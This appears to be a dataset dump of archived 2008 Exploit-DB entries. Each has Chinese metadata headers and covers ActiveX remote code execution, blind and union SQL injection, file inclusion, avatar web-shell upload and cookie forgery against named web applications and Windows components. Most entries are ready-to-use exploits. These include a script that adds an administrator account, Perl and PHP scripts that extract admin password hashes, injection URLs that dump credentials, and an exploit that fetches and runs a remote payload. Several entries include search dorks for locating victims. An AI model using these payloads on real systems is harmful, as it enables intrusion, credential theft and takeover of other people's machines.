QLWD/code_shield huggingface dataset:
标题: GdPicture Pro - ActiveX 'gdpicture4s.ocx' File Overwrite / Exec EDB-ID: 6638 CVE: 2008-4453 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-30 漏洞利用脚本: <!--

 ---------------------------------------------------------------------------------
 GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit
 ---------------------------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://www.gdpicture.com/
 ProgID...: GdPicture4S.Imaging
 
 Description:
 
 SaveAsPDF() method allow to create / overwrite file through
 sFilePath argument. By using other arguments, such as sTitle,
 an attacker could be inject html code and execute it using
 the hcp:// protocol (tecnique discovered by rgod).
 Also GdPicturePro5.Imaging is prone to this vulnerability,
 but it doesn't implements the IObjectSafety interface.
 
 Tested on Windows XP SP2 with IE 6/7
 
 Object safety report:
 
 Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE}
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPStorage Safe:  Safe for untrusted: caller,data

 [*] A special thanks goes to shinnai, for his patience :)

-->

<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object>

<script language='javascript'>

 var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";

 var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

 var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
    "\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
    "\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
    "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

 var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
   "<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";

 test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen
 test.CreateImageFromString(BMP);

 if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";

</script>

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6638
标题: ADN Forum 1.0b - Blind SQL Injection EDB-ID: 6640 CVE: 2006-0123 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: #!/usr/bin/perl
# --------------------------------------------------
# ADN Forum <= 1.0b Blind SQL Injection Exploit
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On: 01/10/2008
# Download: http://sourceforge.net/projects/adnforum/
# --------------------------------------------------
# Usage: perl exploit.pl http://localhost
# --------------------------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;

my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);

my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n";
my @chars = (48..57, 97..102); 
my $http = new LWP::UserAgent;

for(0..32)
{
  foreach $ord(@chars) 
  {
    $send = "' or ascii(substring((select password from adn_usuarios where id=1),$uid,1))=$ord#";
    $send = uri_escape($send);
    
    $request = $http->get($host."/index.php?fid=".$send);
    
    if($request->is_success and $request->content =~ /hace clic en el boton de abajo/i)
    {
      $hash .= chr($ord); 
      $uid++;
    }
  }
}

if(defined $hash)
{
  print "[+] MD5: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6640
标题: eFront 3.5.1 / build 2710 - Arbitrary File Upload EDB-ID: 6633 CVE: 2008-7026 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
eFront <= 3.5.1 / build 2710: Remote File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: eFront
$ File affected: studentpage.php / professorpage
$ Version: 3.5.1 / build 2710
$ Download: http://www.efrontlearning.net


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

-- Description (by the author's page) --
eFront is an easy to use, visually attractive, SCORM compatible, eLearning
and Human Capital Development system. It is suitable for both company and
educational usage. The core eFront system is offered as open-source software
so you can download and start using it immediately. Check the functionality
matrix for different eFront editions.


-- Bug --
If you are a student or a teacher you can upload an avatar. It not check the
extension (JPG, PNG, GIF, ...) and you can upload any file (ex: PHP)

Website structure:

site.com /
         /upload/         -> Files saved
  /admin/
                      /avatars
                /student/
                        /avatars
                /professor/
                          /avatars
         /www    -> Website
  /backups
         /libraries


-- Exploit --
Students can upload a shell.php as the avatar ant next execute as:
  http://site/upload/student/avatars/shell.php

Teachers can upload a shell.php as the avatar ant next execute as:
  http://site/upload/professor/avatars/shell.php


Note: in all sites I've tested upload dorectory is accesible by web

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6633
标题: Crux Gallery 1.32 - 'theme' Local File Inclusion EDB-ID: 6645 CVE: 2008-4483 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: ~~+=========================================================+~~
 ~~+=========================================================+~~
  [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability
  [?] Discovered On: 01/10/2008
  [*] PHP.ini 
  [*] Magic_Quotes_Gpc = Off
 ~~+=========================================================+~~
  (index.php) // Greetz -> Osirys and darkjoker
  14. $m = $_GET['m'];
  15. $p = $_GET['p'];
  16. $dir = $_GET['dir'];
  17. require_once("main.php");
  18. require_once("themes/".$theme."/theme.php"); 
  $theme  isn't declared, so you can include any file.
  [*] http//[path]/index.php?theme=../../../../../etc/passwd%00
  [*] How To Fix: declare $theme
  ~~+=========================================================+~~

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6645
标题: BMForum 5.6 - 'tagname' SQL Injection EDB-ID: 6642 CVE: 2008-6091 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-01 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: BMForum
Version: 5.6
URL: www.bmforum.com
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit:

http://localhost/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1'+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*

# milw0rm.com [2008-10-01] URL: https://www.exploit-db.com/exploits/6642
标题: Rianxosencabos CMS 0.9 - Blind SQL Injection EDB-ID: 6636 CVE: 2008-6014 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

/ Script: Rianxosencabos
/ Version: 0.9
/ File affected: scripts/links.php
/ Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz


ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org

Vuln code:

-----
88:  function visita($id) {
93:  $resultado=$bd->consulta("SELECT direccion, clicks FROM links WHERE id=$id LIMIT 1");
....

112: if ($_GET['id']) {
113: links::visita($_GET['id'])
-----


Proof of Concept:

http://[host]/[cms]/?s=links&id=1 and 1=1 -> True
http://[host]/[cms]/?s=links&id=1 and 1=0 -> False
http://[host]/[cms]/?s=links&id=1 and ascii(substring(@@version,1,1)=52


__END__

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6636
标题: SG Real Estate Portal 2.0 - Insecure Cookie Handling EDB-ID: 6635 CVE: 2008-6009 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: ###############################################################################################
[+] SG Real Estate Portal 2.0 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack            
[+] Greetz : All my freind           
################################################################################################
Exploit:
javascript:document.cookie = "Auth=1; path=/;";

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6635
标题: BookMarks Favourites Script - 'id' SQL Injection EDB-ID: 6637 CVE: 2008-6007 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: |___________________________________________________|
|
| BookMarks Favourites Script (view_group.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  IQ-SecuritY  >   WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                    |
|
| script : http://www.quidascript.com/index.php?main_page=product_info&products_id=77
|
| DorK   : inurl:view_group.php?id=
|___________________________________________________|


Exploit:

www.[target].com/Script/view_group.php?id=-1+union+select+0,'Im-IRAQI',concat_ws(0x3a,username,password),0,0,0,0,0+FROM+apb_users--



Demo :

http://www.quidascript.com/bookmarks/view_group.php?id=-1+union+select+0,'Im-IRAQI',concat_ws(0x3a,username,password),0,0,0,0,0+FROM+apb_users--





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|______________________________________________________________________


                                  Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6637
标题: MiNBank 1.5.0 - Multiple Remote File Inclusions EDB-ID: 6632 CVE: 2008-6006 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: **************************************************************************************

Author : By DaRkLiFe
Greetz : str0ke & S.VV.A.T.

**************************************************************************************
Script   :
Micronation Banking System(minba) 1.5.0
Remote File Inclusion Vulnerability(s)

Download:
http://downloads.sourceforge.net/minbank/minba_v0150.zip?modtime=1169500084&big_mirror=0

**************************************************************************************

Exploit : http://site.com/minba/utility/utdb_access.php?minsoft_path=Shellz?


http://site.com/minba/utility/utgn_message.php?minsoft_path=Shellz?

**************************************************************************************

In Multiple files the vulnerability exists.

I have posted two examples

Vulberable : line 3 : require_once("$minsoft_path/utility/utgn_config.php");
in minba/utility/utgn_message.php file


**************************************************************************************

THANKS ! GREETZ !
**************************************************************************************

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6632
标题: SG Real Estate Portal 2.0 - Blind SQL Injection EDB-ID: 6634 CVE: 2008-6011 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      SG Real Estate Portal 2.0 - Blind SQL Injection Exploit  
#                                                          
#      Vulnerability discovered by: Stack    
#      Exploit coded by:            Stack
#      Greetz to:                   All My Freind
#
###############################################################
#                                                          
#Admin Panel: [Target]/SG/
#Usage:       php '.$argv[0].' [Target] [Userid]
#Example :
#php '.$argv[0].' "http://www.site.com/SG/index.php?lang=EN&page_id=[Real id]" 1
#php '.$argv[0].' "http://www.site.com/SG/index.php?lang=EN&page_id=106" 1
#                                                          
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\nUsername: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6634
标题: FAQ Management Script - 'catid' SQL Injection EDB-ID: 6629 CVE: 2008-4743 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-30 漏洞利用脚本: |___________________________________________________|
|
| FAQ Management (catid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.quidascript.com/index.php?main_page=product_info&cPath=1_15&products_id=80
|
| DorK   : inurl:cfaq/index.php?catid=
|
| DorK   : inurl:index.php?catid=
|___________________________________________________|






Exploit: 

www.[target].com/Script/index.php?catid=-1+union+select+concat(username,0x3a,password),2+FROM+cfaq_admin--


AdmiN LoGiN :

www.[target].com/Script//admin.php





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|______________________________________________________________________


                                       Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6629
标题: ArabCMS - 'rss.php' Local File Inclusion EDB-ID: 6628 CVE: 2008-4667 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-29 漏洞利用脚本: ####################################################################################
######              Local File Inclusion Vulnerabilities                       #####
###### http://www.the-ghost.com/extras/am2/am%202.0%20beta%201.zip             #####
###### author : JIKO                                                           #####
###### foor read a php file >     ?rss=[name of file iwthout php]              #####
###### for execute exploit does not write extention of file                    #####
######                                                                         #####
######                                                                         #####
###### exploit : /Script/rss.php?rss=../[name of file wthout php]              #####
######                                                                         #####
###### example : /Script/rss.php?rss==/home/user/shell                         #####
######                                                                         #####
###### other files:        rss=../../../../etc/passwd%00                       #####
######           WwW.No-exploit.Com  cha7ta.eu                                 #####
######  H-T Team , v4 Team  , Tryag , no-Back all my friend                    #####
####################################################################################
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc

# milw0rm.com [2008-09-29] URL: https://www.exploit-db.com/exploits/6628
标题: Wireshark 1.0.x - '.ncf' Packet Capture Local Denial of Service EDB-ID: 6622 CVE: 2008-4682 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-29 漏洞利用脚本: Wireshark 1.0.x .ncf local denial of service
author: Shinnok

Description

Wireshark 1.0.x crashes as a result of a failed assertion when dealing
with a malformed Tamosoft CommView .ncf packet capture:
Err file wtap.c: line 620 (wtap_read): assertion failed:
(wth->phdr.pkt_encap != WTAP_ENCAP_PER_PACKET)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6622.ncf (2008-wireshark.ncf)

# milw0rm.com [2008-09-29] URL: https://www.exploit-db.com/exploits/6622
标题: events Calendar 1.1 - Remote File Inclusion EDB-ID: 6623 CVE: 2008-4673 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-29 漏洞利用脚本: #########################################################
#
# Events Calendar 1.1

Remote File Inclusion Vulnerability


#========================================================
# Author: kevin mitnick( tunisianblackhat team ) =
# =
# Home : http://tunisianblackhat.com =
# =
# email: kevinmitnick[A]live.fr =
# =
#=========================================================
#
# script : Events Calendar 1.1#
http://webscripts.softpedia.com/script/Calendar-Systems/Events-Calendar-WebBiscuits-46424.html
# DorK : Events Calendar 1.1#
##########################################################

[~] Exploit :


http://youwebsite/panel/common/theme/default/header_setup.php?path[docroot]=[EV!L]
http://youwebsite/panel/common/theme/default/header_setup.php?component=[EV!L]

########################( Greetz )###########################
# marwé§­_neo , mrabah12R ,KaMiKaZe ,NaRuTo ,hijacker #
# Boomrang_Victim and all tunisian hackers #
# #
# #
# #
###########################################################

# milw0rm.com [2008-09-29] URL: https://www.exploit-db.com/exploits/6623
标题: Autodesk DWF Viewer Control / LiveUpdate Module - Remote Code Execution EDB-ID: 6630 CVE: 2008-4472 2008-4471 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-30 漏洞利用脚本: <!-- 
Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit
by Nine:Situations:Group::bruiser 
site: http://retrogod.altervista.org/
tested against IE6

tested software:  Revit Architecture 2009 sp2
                  Autodesk Design Review 2009 (which also comes with Revit)


dll settings (both):
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False

The first vulnerability is caused due to the CExpressViewerControl class 
(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method 
which allows to store locally files with arbitrary extension.
The second one is related to the ApplyPatch() one inside the UpdateEngine
class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows to launch an arbitrary 
executable by the second argument. Note, that the first one, alone, allows
arbitrary code execution. The impact of the second one is limited if you cannot 
specify command arguments or launch a file of yours.

The embedded dwf file (located at the url http://retrogod.altervista.org/suntzu.dwf)
has been created modifying an existing one, replacing a .png resource file with 
a vbscript shell through the following script (note the PCLZIP_OPT_NO_COMPRESSION flag,
this has been used to preserve the code, note also the dwg files are
essentially zips) :

<?php
    //library:
    //http://www.phpconcept.net/pclzip/index.en.php#download
    include_once('pclzip.lib.php');

    $archive = new PclZip('suntzu.dwf');
     
    //modify path
    $list = $archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);
    
    if ($list == 0) {
      echo "ERROR : ".$archive->errorInfo(true);
    }
?> 

take a look to suntzu.dwf with an hex-editor...
This exploit launch calc.exe but you can embed your own vbscript shell
and extended shell commands, by using the php code given.
-->
<HTML>
<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
WIDTH="640" HEIGHT="480"
id='CExpressViewerControl' >
<PARAM NAME="Src"
VALUE="http://retrogod.altervista.org/suntzu.dwf">
</OBJECT> 
<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B' 
id='UpdateEngine' />
</OBJECT>
<script type="text/javascript">
<!-- 
   strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";

try
{
   CExpressViewerControl.SaveAS (strPatchFile); 
}
catch(e)
{
   document.write("impossible to save suntzu.hta ...");
}
finally
{
}
   strProductCode="whatever" ;

try
{
   UpdateEngine.ApplyPatch (strProductCode , strPatchFile);
}
catch(e)
{
   document.write("impossible to execute suntzu.hta ...");
}
finally
{
}

--> 
</script>

# milw0rm.com [2008-09-30] URL: https://www.exploit-db.com/exploits/6630
标题: BbZL.php 0.92 - Insecure Cookie Handling EDB-ID: 6621 CVE: 2008-4708 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: ###############################################################################################
[+] BbZL.PhP 0.92 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack            
[+] Greetz : All my freind           
################################################################################################
Exploit:
javascript:document.cookie = "phorum_admin_session=1; path=/";

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6621
标题: Microsoft Windows Explorer - '.zip' Denial of Service EDB-ID: 6616 CVE: 2008-4323 类型: DOS 平台: WINDOWS 发布日期: 2008-09-28 漏洞利用脚本: Sucessfully tested on Microsoft Windows Xp Pro sp3 English.
If you open with Winzip sometimes the exeption doesen't occur.
Just right click the file and explorer will crash.
|---
CMP BYTE PTR DS:[EDX+EAX-1],2E

ESP 0007E328
EBP 0007E358

Access Violation [FFFFFFFF]
---|

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6616.zip (2008-ExplorerDOS.zip)

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6616
标题: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal EDB-ID: 6618 CVE: 2008-4668 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-28 漏洞利用脚本: Joomla Imagebrowser File Inc.


Cr@zy_King / www.biyosecurity.com / sqL Lov3r'Z Crew Co. 2008


Down : http://www.joomlatr.org/index.php/component/remository/?func=fileinfo&id=129


FI   : http://127.0.0.1/index.php?option=com_imagebrowser&folder=../../../../


Grtz : aLL My Friend'z ... 

# milw0rm.com [2008-09-28] URL: https://www.exploit-db.com/exploits/6618